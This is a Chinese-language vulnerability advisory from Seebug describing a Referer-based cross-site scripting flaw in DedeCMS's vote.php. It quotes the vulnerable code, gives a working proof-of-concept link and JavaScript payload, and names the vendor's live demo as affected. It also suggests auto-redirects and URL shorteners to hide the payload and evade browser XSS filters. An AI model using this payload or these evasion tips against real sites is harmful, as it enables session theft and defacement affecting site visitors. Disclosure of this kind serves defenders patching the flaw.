dedecms referer xss跨站

2015-10-10T00:00:00
ID SSV:89657
Type seebug
Reporter tester1111
Modified 2015-10-10T00:00:00

Description

简要描述:

dedecms 全版本!xss跨站一枚! referer构造触发! 详细说明:

文件:/plus/vote.php

code 区域

$ENV_GOBACK_URL = empty($_SERVER['HTTP_REFERER']) ? '':$_SERVER['HTTP_REFERER'];

............................................

//判断是否允许被查看

$admin = new userLogin;

if($dopost == 'view')

{

if($row['view'] == 1 && empty($admin->userName))

{

    ShowMsg('此投票项不允许查看结果',$ENV_GOBACK_URL);

    exit();

}

}

.........................

ShowMsg 函数

code 区域

function ShowMsg($msg, $gourl, $onlymsg=0, $limittime=0)

{

if(empty($GLOBALS['cfg_plus_dir'])) $GLOBALS['cfg_plus_dir'] = '..';

.....................................................

    $func .= "var pgo=0;

    function JumpUrl(){if(pgo==0){ location='$gourl';

    pgo=1; }}\r\n";

    $rmsg = $func;

    $rmsg .= "document.write(\"<br /><div style='width:450px;padding:0px;border:1px solid #DADADA;'>";

    $rmsg .= "<div style='padding:6px;font-size:12px;border-bottom:1px solid #DADADA;background:#DBEEBD url({$GLOBALS['cfg_plus_dir']}/img/wbg.gif)';'><b>DedeCMS 提示信息!</b></div>\");\r\n";

    $rmsg .= "document.write(\"<div style='height:130px;font-size:10pt;background:#ffffff'><br />\");\r\n";

    $rmsg .= "document.write(\"".str_replace("\"","“",$msg)."\");\r\n";

    $rmsg .= "document.write(\"";

.......................................................

echo $msg;

}

$_SERVER['HTTP_REFERER'] 未过滤直接输出到js中!由于官方默认数据库均有一个投票记录 所以基本上都可以触发此xss

$_SERVER['HTTP_REFERER']明显是不安全的 比如我在本地写一个文件test.html

code 区域

<a href="/dedecms7/plus/vote.php?aid=1&dopost=view">xss测试</a>

打开此文件 url这样: http://192.168.1.89/test.html?a=';alert(/xss/);pgo=1}// 然后点击xss测试 就触发了xss

同样织梦官方demo也不例外 只需把链接改成 <a href="http://v57.demo.dedecms.com/plus/vote.php?aid=1&dopost=view">xss测试</a>

那么咋利用呢?很简单!只需要把 http://192.168.1.89/test.html?a=';alert(/xss/);pgo=1}// 变成自动跳转就行!

现在有短地址嘛!!!完全看不出xss痕迹!还可以逃避浏览器的xss过滤